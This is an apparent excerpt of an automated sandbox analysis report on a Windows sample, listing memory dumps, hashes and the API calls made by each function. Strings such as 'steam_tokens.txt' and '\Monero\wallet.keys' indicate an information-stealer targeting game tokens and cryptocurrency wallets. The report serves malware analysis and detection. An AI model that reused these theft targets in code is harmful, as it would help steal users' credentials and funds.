Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: df0ec3f688e5fc4c78fcdfde7eea216ed98c5f82308130fed9578933d793f749
Instruction ID: 3ddf6c3e057f218cae87a5b7c673ace1077a23ce05f90172dd480e104ef26e0f
Opcode Fuzzy Hash: df0ec3f688e5fc4c78fcdfde7eea216ed98c5f82308130fed9578933d793f749
Instruction Fuzzy Hash: 55F0FB7191014866CB04FBA0ED579ED733DAB54300F48426AB81662692EF3CA619E6AB

Function 00FD7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00FE0E2C), ref: 00FD7F00
wsprintfA.USER32 ref: 00FD7F16

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 8f1ea05faa71b5928300c094ac146623f09b51400a49339d5967a61e3e816f50
Instruction ID: 9403f1fbc3638da314073a98abcc33424ca1ec84bb9d7ffa69f76b7250ece81c
Opcode Fuzzy Hash: 8f1ea05faa71b5928300c094ac146623f09b51400a49339d5967a61e3e816f50
Instruction Fuzzy Hash: 96F0F6B1900308EBCB10CF85EC45FAAF7BCF744B14F40066AF50593280D77459008BD1

Function 00FCB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

lstrlen.KERNEL32(00000000), ref: 00FCB9C2
lstrlen.KERNEL32(00000000), ref: 00FCB9D6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b6484f93ceb31a119cf18c755922bceafab9a6db6fb9938898a421a426d3e5be
Instruction ID: e766a8bc2b7e69b8c69dd55adb48cac77aea226c50615cefeee8338b14e29d69
Opcode Fuzzy Hash: b6484f93ceb31a119cf18c755922bceafab9a6db6fb9938898a421a426d3e5be
Instruction Fuzzy Hash: 1FE141728101189BDF15FBA0DC96EEE7339BF54300F44416AF50663291EF386A49FB6A

Function 00FCAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

lstrlen.KERNEL32(00000000), ref: 00FCB16A
lstrlen.KERNEL32(00000000), ref: 00FCB17E

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 9ec1a5e58b1ce2c4fbfde2434cd9df460f4b06ebdca8b1f7a8613f366baf1b26
Instruction ID: e452b4823083d7a3b897bb69168992cd748d6703557ab152b903696a7b59f49e
Opcode Fuzzy Hash: 9ec1a5e58b1ce2c4fbfde2434cd9df460f4b06ebdca8b1f7a8613f366baf1b26
Instruction Fuzzy Hash: 2C9145719101489BDF14EBA0DC96EEE7339BF54300F44411AF507A7191EF386A19FB6A

Function 00FCB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

lstrlen.KERNEL32(00000000), ref: 00FCB42E
lstrlen.KERNEL32(00000000), ref: 00FCB442

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ab40b5e2b4fcf19d39204bd2df54b851e2cac312299dc65b0f609a9c4526ffb2
Instruction ID: f1cfec93fa66e88fb9be9578d7f9cfd35917ff3ad53f990f4c369cf6f4e44060
Opcode Fuzzy Hash: ab40b5e2b4fcf19d39204bd2df54b851e2cac312299dc65b0f609a9c4526ffb2
Instruction Fuzzy Hash: 667155719101489BDF14FBA0DD96DEE733ABF54300F44411AF502A7292EF386A09FB6A

Function 00FC6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00FC6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00FC6753

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9c3f32b7548c497fa72fa3a87db26d6998e4dc6131ee9d361e2016274a60572b
Instruction ID: db96b908a7daf03ce5a9b7280645e926d3bbd436ee1871d0be41559accec2a75
Opcode Fuzzy Hash: 9c3f32b7548c497fa72fa3a87db26d6998e4dc6131ee9d361e2016274a60572b
Instruction Fuzzy Hash: 8C41E874A04209EFCB44CF58C595FADBBB1FF48314F2486A9E9099B345C731AA81DF84

Function 00FD5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FD508A
lstrcat.KERNEL32(?,007BE398), ref: 00FD50A8

Part of subcall function 00FD4910: wsprintfA.USER32 ref: 00FD492C
Part of subcall function 00FD4910: FindFirstFileA.KERNEL32(?,?), ref: 00FD4943

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 80e5274fa80828711c16c1fd90b833e4f26f8ce1ac3013a265079c5b14b8b39e
Instruction ID: 55d7a1734810227a495e67e8998ccc7cb120dd210c693fa65f360159d7176ed3
Opcode Fuzzy Hash: 80e5274fa80828711c16c1fd90b833e4f26f8ce1ac3013a265079c5b14b8b39e
Instruction Fuzzy Hash: 7E01DB7690020867CB24FB70EC47EEE733DAB54700F444659B68953182EE78DBC99B92

Function 00FC10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00FC10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00FC10F7

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 817cbaa757427e19c284574427360bcf35268324be6691c3a6e547884ca29cb0
Instruction ID: 9446638164d2b8fb40d9e59b127f898e0fc3b30f126b02084b0d86021d13c406
Opcode Fuzzy Hash: 817cbaa757427e19c284574427360bcf35268324be6691c3a6e547884ca29cb0
Instruction Fuzzy Hash: 97F0E271A81308BBE7149AA8AC5AFAEB7E8E705B25F301548F504E3281D5719F00DBA1

Function 00FD8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00FC1B54,?,?,00FE564C,?,?,00FE0E1F), ref: 00FD8D9F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
